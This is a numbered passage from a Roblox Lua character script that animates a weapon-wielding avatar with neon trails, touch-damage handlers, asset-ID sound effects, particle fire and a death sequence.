  4344. local Trail = Instance.new("Part",Character)
  4345. Trail.Material = "Neon"
  4346. Trail.Anchored = true
  4347. Trail.CanCollide = false
  4348. Trail.BrickColor = TorsoColor
  4349. Trail.Size = Vector3.new(0.2,Mag,0.2)
  4350. Trail.TopSurface = 0
  4351. Trail.BottomSurface = 0
  4352. Trail.formFactor = "Custom"
  4353. Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
  4354. local ms = Instance.new("BlockMesh",Trail)
  4355. ms.Scale = Vector3.new(1,1,1)
  4356. local TM = Instance.new("CylinderMesh",Trail)
  4357. TM.Scale = Vector3.new(1,1,1)
  4358. Old = New
  4359. coroutine.wrap(function()
  4360. for i = 1,0,-0.1 do
  4361. wait()
  4362. TM.Scale = TM.Scale * Vector3.new(i,1,i)
  4363. end
  4364. Trail:remove()
  4365. end)()
  4366. coroutine.wrap(function()
  4367. for i = 1,10 do
  4368. wait()
  4369. Trail.Transparency = Trail.Transparency +0.1
  4370. end end)()end end)()
  4371. coroutine.wrap(function()
  4372. local Old = Handle.CFrame.p
  4373. while wait()do
  4374. if not TrailDeb then break end
  4375. local New = Handle.CFrame.p
  4376. local Mag =(Old -New).magnitude
  4377. local Dis =(Old +New)/2
  4378. local Trail = Instance.new("Part",Character)
  4379. Trail.Material = "Neon"
  4380. Trail.Anchored = true
  4381. Trail.CanCollide = false
  4382. Trail.BrickColor = TorsoColor
  4383. Trail.Size = Vector3.new(0.2,Mag,0.2)
  4384. Trail.TopSurface = 0
  4385. Trail.BottomSurface = 0
  4386. Trail.formFactor = "Custom"
  4387. Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
  4388. local ms = Instance.new("BlockMesh",Trail)
  4389. ms.Scale = Vector3.new(1,1,1)
  4390. local TM = Instance.new("CylinderMesh",Trail)
  4391. TM.Scale = Vector3.new(1,1,1)
  4392. Old = New
  4393. coroutine.wrap(function()
  4394. for i = 1,0,-0.1 do
  4395. wait()
  4396. TM.Scale = TM.Scale * Vector3.new(i,1,i)
  4397. end
  4398. Trail:remove()
  4399. end)()
  4400. coroutine.wrap(function()
  4401. for i = 1,10 do
  4402. wait()
  4403. Trail.Transparency = Trail.Transparency +0.1
  4404. end end)()end end)()
  4405. con1=Gear2.Touched:connect(function(hit) Damagefunc(hit,20,30,math.random(20,40),"Normal",RootPart,.2,1) end)
  4406. con2=Gear.Touched:connect(function(hit) Damagefunc(hit,20,30,math.random(20,40),"Normal",RootPart,.2,1) end)
  4407. so("http://www.roblox.com/asset/?id=159882584",Torso,1,0.9)
  4408. for i=0,1,0.08 do
  4409. swait()
  4410. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
  4411. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2)
  4412. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4413. Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,1,-5)*angles(math.rad(0),math.rad(-40),math.rad(20)),.2)
  4414. Handleweld.C0=clerp(Handleweld.C0,cf(5,1,-5)*angles(math.rad(0),math.rad(40),math.rad(-20)),.2)
  4415. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*euler(-30,0,-20),.3)
  4416. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*euler(-30,0,20),.3)
  4417. end
  4418. so("http://www.roblox.com/asset/?id=231917758",Handle2,1,.8)
  4419. so("http://www.roblox.com/asset/?id=231917758",Handle,1,1)
  4420. for i=0,1,0.08 do
  4421. swait()
  4422. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
  4423. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2)
  4424. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4425. Handle2weld.C0=clerp(Handle2weld.C0,cf(4,1,-5)*angles(math.rad(0),math.rad(-43),math.rad(20)),.2)
  4426. Handleweld.C0=clerp(Handleweld.C0,cf(-4,1,-5)*angles(math.rad(0),math.rad(43),math.rad(-20)),.2)
  4427. LW.C0=clerp(LW.C0,cf(-1,0.5,-1)*euler(-30,0,20),.3)
  4428. RW.C0=clerp(RW.C0,cf(1,0.5,-1)*euler(-30,0,-20),.3)
  4429. end
  4430. --dmgstop()
  4431. attack=false
  4432. con1:disconnect()
  4433. con2:disconnect()
  4434. if TrailDeb == true then
  4435. TrailDeb = false
  4436. end
  4437. end
  4438.  
  4439. function Hai()
  4440. attack=true
  4441. Humanoid.WalkSpeed=0
  4442. so("http://www.roblox.com/asset/?id=159882567",Torso,1,1)
  4443. for i=0,1,0.1 do
  4444. swait()
  4445. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
  4446. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2)
  4447. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4448. Handleweld.C0=clerp(Handleweld.C0,cf(0,5,3)*angles(math.rad(20),math.rad(-20),math.rad(20)),.2)
  4449. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(5),math.rad(0),math.rad(0)),.2)
  4450. RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3)
  4451. LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3)
  4452. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(170),math.rad(0),math.rad(0)),.3)
  4453. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(10),math.rad(0),math.rad(-16)),.3)
  4454. end
  4455. so("http://www.roblox.com/asset/?id=231917758",Handle,1,.8)
  4456. for i=0,1,0.1 do
  4457. swait()
  4458. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
  4459. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2)
  4460. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4461. Handleweld.C0=clerp(Handleweld.C0,cf(3,8,0)*angles(math.rad(0),math.rad(-20),math.rad(-30)),.2)
  4462. Handle2weld.C0=clerp(Handle2weld.C0,cf(0.5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4463. RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3)
  4464. LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3)
  4465. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(170),math.rad(0),math.rad(50)),.5)
  4466. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(10),math.rad(0),math.rad(-16)),.3)
  4467. end
  4468. so("http://www.roblox.com/asset/?id=231917758",Handle,1,1)
  4469. for i=0,1,0.1 do
  4470. swait()
  4471. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
  4472. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2)
  4473. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4474. Handleweld.C0=clerp(Handleweld.C0,cf(0,5,3)*angles(math.rad(20),math.rad(-20),math.rad(20)),.2)
  4475. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(5),math.rad(0),math.rad(0)),.2)
  4476. RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3)
  4477. LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3)
  4478. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(170),math.rad(0),math.rad(0)),.3)
  4479. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(10),math.rad(0),math.rad(-16)),.3)
  4480.  
  4481. end
  4482. so("http://www.roblox.com/asset/?id=231917758",Handle,1,.8)
  4483. for i=0,1,0.1 do
  4484. swait()
  4485. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
  4486. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2)
  4487. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4488. Handleweld.C0=clerp(Handleweld.C0,cf(3,8,0)*angles(math.rad(0),math.rad(-20),math.rad(-30)),.2)
  4489. Handle2weld.C0=clerp(Handle2weld.C0,cf(0.5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4490. RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3)
  4491. LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3)
  4492. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(170),math.rad(0),math.rad(50)),.3)
  4493. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(10),math.rad(0),math.rad(-16)),.3)
  4494. end
  4495. so("http://www.roblox.com/asset/?id=231917758",Handle,1,1)
  4496. for i=0,1,0.1 do
  4497. swait()
  4498. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
  4499. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2)
  4500. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4501. Handleweld.C0=clerp(Handleweld.C0,cf(0,5,3)*angles(math.rad(20),math.rad(-20),math.rad(20)),.2)
  4502. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(5),math.rad(0),math.rad(0)),.2)
  4503. RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3)
  4504. LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3)
  4505. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(170),math.rad(0),math.rad(0)),.3)
  4506. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(10),math.rad(0),math.rad(-16)),.3)
  4507. end
  4508. --dmgstop()
  4509. Humanoid.WalkSpeed=12
  4510. attack=false
  4511. end
  4512.  
  4513. function Die()
  4514. attack=true
  4515. Footsteps:Stop()
  4516. Footsteps2:Stop()
  4517. local Fire = it("Sound",Character.Torso)
  4518. Fire.SoundId = "rbxassetid://192104941"
  4519. Fire.Looped = true
  4520. Fire.Pitch = 1
  4521. Fire.Volume = 1
  4522. local Fire2 = it("Sound",Handle2)
  4523. Fire2.SoundId = "rbxassetid://192104941"
  4524. Fire2.Looped = true
  4525. Fire2.Pitch = 1
  4526. Fire2.Volume = 1
  4527. local Fire3 = it("Sound",Handle)
  4528. Fire3.SoundId = "rbxassetid://192104941"
  4529. Fire3.Looped = true
  4530. Fire3.Pitch = 1
  4531. Fire3.Volume = 1
  4532. local Fire4 = it("Sound",handle)
  4533. Fire4.SoundId = "rbxassetid://192104941"
  4534. Fire4.Looped = true
  4535. Fire4.Pitch = 1
  4536. Fire4.Volume = 1
  4537. local fire = Instance.new("ParticleEmitter", Character.Torso)
  4538. fire.Lifetime = NumberRange.new(0.5)
  4539. fire.Speed = NumberRange.new(1, 3)
  4540. fire.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 3.564, 2.521), NumberSequenceKeypoint.new(1, 3.534, 2.521)})
  4541. fire.Rate = 0
  4542. fire.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.627, 0.587), NumberSequenceKeypoint.new(1, 1)})
  4543. fire.LightEmission = 0.6
  4544. fire.Texture = "http://www.roblox.com/asset/?id=242911609"
  4545. fire.Color = ColorSequence.new(Color3.new(1, 0, 0), Color3.new(1, 0.666667, 0))
  4546. local fire2 = Instance.new("ParticleEmitter", Handle)
  4547. fire2.Lifetime = NumberRange.new(0.5)
  4548. fire2.Speed = NumberRange.new(1, 3)
  4549. fire2.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 6.564, 5.521), NumberSequenceKeypoint.new(1, 6.534, 5.521)})
  4550. fire2.Rate = 0
  4551. fire2.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.627, 0.587), NumberSequenceKeypoint.new(1, 1)})
  4552. fire2.LightEmission = 0.6
  4553. fire2.Texture = "http://www.roblox.com/asset/?id=242911609"
  4554. fire2.Color = ColorSequence.new(Color3.new(1, 0, 0), Color3.new(1, 0.666667, 0))
  4555. local fire3 = Instance.new("ParticleEmitter", Handle2)
  4556. fire3.Lifetime = NumberRange.new(0.5)
  4557. fire3.Speed = NumberRange.new(1, 3)
  4558. fire3.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 6.564, 5.521), NumberSequenceKeypoint.new(1, 6.534, 5.521)})
  4559. fire3.Rate = 0
  4560. fire3.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.627, 0.587), NumberSequenceKeypoint.new(1, 1)})
  4561. fire3.LightEmission = 0.6
  4562. fire3.Texture = "http://www.roblox.com/asset/?id=242911609"
  4563. fire3.Color = ColorSequence.new(Color3.new(1, 0, 0), Color3.new(1, 0.666667, 0))
  4564. local fire4 = Instance.new("ParticleEmitter", handle)
  4565. fire4.Lifetime = NumberRange.new(0.5)
  4566. fire4.Speed = NumberRange.new(1, 3)
  4567. fire4.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 3.564, 2.521), NumberSequenceKeypoint.new(1, 3.534, 2.521)})
  4568. fire4.Rate = 0
  4569. fire4.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.627, 0.587), NumberSequenceKeypoint.new(1, 1)})
  4570. fire4.LightEmission = 0.6
  4571. fire4.Texture = "http://www.roblox.com/asset/?id=242911609"
  4572. fire4.Color = ColorSequence.new(Color3.new(1, 0, 0), Color3.new(1, 0.666667, 0))
  4573. Humanoid.WalkSpeed = 0
  4574. so("http://www.roblox.com/asset/?id=199149297",Head,1,1)
  4575. so("http://www.roblox.com/asset/?id=209527203",Head,1,1)
  4576. for i=0,1,0.08 do
  4577. swait()
  4578. Torso.Velocity=RootPart.CFrame.lookVector*-30
  4579. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,1,0)*angles(math.rad(-45),math.rad(0),math.rad(90)),.2)
  4580. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(0),math.rad(0),math.rad(45)),.2)
  4581. handleweld.C0=clerp(handleweld.C0,cf(0,5,0)*angles(math.rad(45),math.rad(0),math.rad(0)),.2)
  4582. Handleweld.C0=clerp(Handleweld.C0,cf(0,5,0)*angles(math.rad(45),math.rad(0),math.rad(0)),.2)
  4583. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,5,0)*angles(math.rad(45),math.rad(0),math.rad(0)),.2)
  4584. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(45)),.2)
  4585. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(0),math.rad(0),math.rad(-45)),.2)
  4586. RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-10),math.rad(0),math.rad(0)),.2)
  4587. LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-10),math.rad(0),math.rad(0)),.2)
  4588. end
  4589. for i=0,1,0.005 do
  4590. swait()
  4591. light.Range=15-10*i
  4592. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,1,-2.5)*angles(math.rad(-90),math.rad(0),math.rad(180)),.2)
  4593. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(0),math.rad(0),math.rad(90)),.4)
  4594. handleweld.C0=clerp(handleweld.C0,cf(0,10,-5)*angles(math.rad(60),math.rad(30),math.rad(30)),.2)
  4595. Handleweld.C0=clerp(Handleweld.C0,cf(0,20,-5)*angles(math.rad(150),math.rad(0),math.rad(0)),.2)
  4596. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,20,-5)*angles(math.rad(90),math.rad(0),math.rad(0)),.2)
  4597. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(180),math.rad(0),math.rad(90)),.2)
  4598. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(0),math.rad(0),math.rad(-90)),.2)
  4599. RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-20),math.rad(0),math.rad(0)),.2)
  4600. LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-20),math.rad(0),math.rad(0)),.2)
  4601. end
  4602. light.Range=0
  4603. for i=0,1,0.01 do
  4604. swait()
  4605. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,1,-2.5)*angles(math.rad(-90),math.rad(0),math.rad(180)),.2)
  4606. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(0),math.rad(0),math.rad(90)),.4)
  4607. handleweld.C0=clerp(handleweld.C0,cf(0,10,-5)*angles(math.rad(60),math.rad(30),math.rad(30)),.2)
  4608. Handleweld.C0=clerp(Handleweld.C0,cf(0,20,-5)*angles(math.rad(150),math.rad(0),math.rad(0)),.2)
  4609. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,20,-5)*angles(math.rad(90),math.rad(0),math.rad(0)),.2)
  4610. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(180),math.rad(0),math.rad(90)),.2)
  4611. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(0),math.rad(0),math.rad(-90)),.2)
  4612. RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-20),math.rad(0),math.rad(0)),.2)
  4613. LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-20),math.rad(0),math.rad(0)),.2)
  4614. end
  4615. so("http://www.roblox.com/asset/?id=209527175",Head,1,0.9)
  4616. fire.Rate = 1000
  4617. fire2.Rate = 1000
  4618. fire3.Rate = 1000
  4619. fire4.Rate = 1000
  4620. Fire:Play()
  4621. Fire2:Play()
  4622. Fire3:Play()
  4623. Fire4:Play()
  4624. for i=0,1,0.005 do
  4625. swait()
  4626. Character.Head.face.Transparency = 0+1*i
  4627. LeftArm.Transparency=0+1*i
  4628. RightArm.Transparency=0+1*i
  4629. LeftLeg.Transparency=0+1*i
  4630. RightLeg.Transparency=0+1*i
  4631. Head.Transparency=0+1*i
  4632. Torso.Transparency=0+1*i
  4633. for _,v in pairs(Character:children()) do
  4634. if v:IsA("Hat") then
  4635. v.Handle.Transparency = 0+1*i
  4636. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,1,-2.5)*angles(math.rad(-90),math.rad(0),math.rad(180)),.2)
  4637. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(0),math.rad(0),math.rad(90)),.4)
  4638. handleweld.C0=clerp(handleweld.C0,cf(0,10,-5)*angles(math.rad(60),math.rad(30),math.rad(30)),.2)
  4639. Handleweld.C0=clerp(Handleweld.C0,cf(0,20,-5)*angles(math.rad(150),math.rad(0),math.rad(0)),.2)
  4640. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,20,-5)*angles(math.rad(90),math.rad(0),math.rad(0)),.2)
  4641. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(180),math.rad(0),math.rad(90)),.2)
  4642. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(0),math.rad(0),math.rad(-90)),.2)
  4643. RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-20),math.rad(0),math.rad(0)),.2)
  4644. LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-20),math.rad(0),math.rad(0)),.2)
  4645. end
  4646. end
  4647. --dmgstop()
  4648. end
  4649. Humanoid.Health = 0
  4650. end
  4651.  
  4652. equipanim()
  4653.  
  4654. local sine = 0
  4655. local change = 1
  4656. local val = 0
  4657.  
  4658. local mananum=0
  4659. while true do
  4660. swait()
  4661. sine = sine + change
  4662. local torvel=(RootPart.Velocity*Vector3.new(1,0,1)).magnitude
  4663. local velderp=RootPart.Velocity.y
  4664. hitfloor,posfloor=rayCast(RootPart.Position,(CFrame.new(RootPart.Position,RootPart.Position - Vector3.new(0,1,0))).lookVector,4,Character)
  4665. if equipped==true or equipped==false then
  4666. if Anim=="Idle" and attack==false then
  4667. idle=idle+1
  4668. else
  4669. idle=0
  4670. end
  4671. if Humanoid.Health <=20 then
  4672. if attack == false then
  4673. Humanoid.Health = math.huge
  4674. Die()
  4675. end
  4676. end
  4677. if idle>=1000 then
  4678. if attack==false then
  4679. --Sheath()
  4680. end
  4681. end
  4682. if RootPart.Velocity.y > 1 and hitfloor==nil then
  4683. Anim="Jump"
  4684. if attack==false then
  4685. Footsteps:Stop()
  4686. Footsteps2:Stop()
  4687. Neck.C0=clerp(Neck.C0,necko*euler(-0.2,0,0),.3)
  4688. Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.3)
  4689. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0),.3)
  4690. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*euler(-.25,0,0.5),.3)
  4691. RW.C1=clerp(LW.C1,cf(0,0.5,0)*euler(0,0,0),.3)
  4692. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*euler(-.25,0,-0.5),.3)
  4693. LW.C1=clerp(LW.C1,cf(0,0.5,0)*euler(0,0,0),.3)
  4694. RH.C0=clerp(RH.C0,cf(1,0,-.75)*euler(-0.5,1.57,0)*euler(0,0,0),.2)
  4695. LH.C0=clerp(LH.C0,cf(-1,-1,-.3)*euler(-0.5,-1.57,0)*euler(0,0,0),.2)
  4696. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(20),math.rad(0),math.rad(0)),.2)
  4697. Handleweld.C0=clerp(Handleweld.C0,cf(0,0,0)*angles(math.rad(20),math.rad(20),math.rad(0)),.2)
  4698. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(20),math.rad(-20),math.rad(0)),.2)
  4699. MotorOneWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
  4700. MotorTwoWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
  4701. MotorThumbWeld.C0 = clerp(MotorThumbWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
  4702. MotorThumbTwoWeld.C0 = clerp(MotorThumbTwoWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
  4703. end
  4704. elseif RootPart.Velocity.y < -1 and hitfloor==nil then
  4705. Anim="Fall"
  4706. if attack==false then
  4707. Footsteps:Stop()
  4708. Footsteps2:Stop()
  4709. Neck.C0=clerp(Neck.C0,necko*euler(0.3,0,0),.3)
  4710. Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.3)
  4711. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*euler(0,0,0),.3)
  4712. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*euler(0.1,0,1),.3)
  4713. RW.C1=clerp(LW.C1,cf(0,0.5,0)*euler(0,0,0),.3)
  4714. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*euler(0.1,0,-1),.3)
  4715. LW.C1=clerp(LW.C1,cf(0,0.5,0)*euler(0,0,0),.3)
  4716. RH.C0=clerp(RH.C0,cf(1,-1,0)*euler(0.6,1.57,0)*euler(0,0,0),.2)
  4717. LH.C0=clerp(LH.C0,cf(-1,-1,0)*euler(-0.8,-1.57,0)*euler(0,0,0),.2)
  4718. handleweld.C0=clerp(handleweld.C0,cf(0,0,-1)*angles(math.rad(-20),math.rad(0),math.rad(0)),.2)
  4719. Handleweld.C0=clerp(Handleweld.C0,cf(0,-1,0)*angles(math.rad(-20),math.rad(-10),math.rad(0)),.2)
  4720. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,-1,0)*angles(math.rad(-20),math.rad(10),math.rad(0)),.2)
  4721. MotorOneWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
  4722. MotorTwoWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
  4723. MotorThumbWeld.C0 = clerp(MotorThumbWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
  4724. MotorThumbTwoWeld.C0 = clerp(MotorThumbTwoWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
  4725. end
  4726. elseif torvel<1 and hitfloor~=nil then
  4727. Anim="Idle"
  4728. change=0.5
  4729. if idle>=1000 then
  4730. if attack==false then
  4731. Footsteps:Stop()
  4732. Footsteps2:Stop()
  4733. Humanoid.WalkSpeed=12
  4734. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,6-0.25*math.cos(sine/5))*angles(math.rad(0),math.rad(0),math.rad(10)),.1)
  4735. Neck.C0=clerp(Neck.C0,necko*angles(math.rad(5+2*math.cos(sine/5.5)),math.rad(-20-2*math.cos(sine/5.5)),math.rad(-9)),.1)
  4736. Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.1)
  4737. RW.C0=clerp(RW.C0,cf(1.2, 0.5, 0.1)*angles(math.rad(205),math.rad(0),math.rad(-25)),.5)
  4738. LW.C0=clerp(LW.C0,cf(-1.2, 0.5, 0.1)*angles(math.rad(205),math.rad(0),math.rad(25)),.5)
  4739. RH.C0=clerp(RH.C0,cf(1,-0.5,-0.225)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(10),math.rad(0),math.rad(0)),.1)
  4740. LH.C0=clerp(LH.C0,cf(-1,-1.1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(15),math.rad(0),math.rad(24)),.3)
  4741. handleweld.C0=clerp(handleweld.C0,cf(0,1.5+2.5*math.cos(sine/62*2),0)*angles(math.rad(90),math.rad(0),math.rad(60-180*math.cos(sine/50))),.3)
  4742. Handleweld.C0=clerp(Handleweld.C0,cf(0,-0.5-0.85*math.cos(sine/62*2),0)*angles(math.rad(0),math.rad(-0-180*2.5*math.cos(sine/62*2)),math.rad(0)),.4)
  4743. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,-0.5+0.85*math.cos(sine/48),0)*angles(math.rad(0),math.rad(-180-180*2.5*math.cos(sine/62*2)),math.rad(180)),.3)
  4744. MotorOneWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
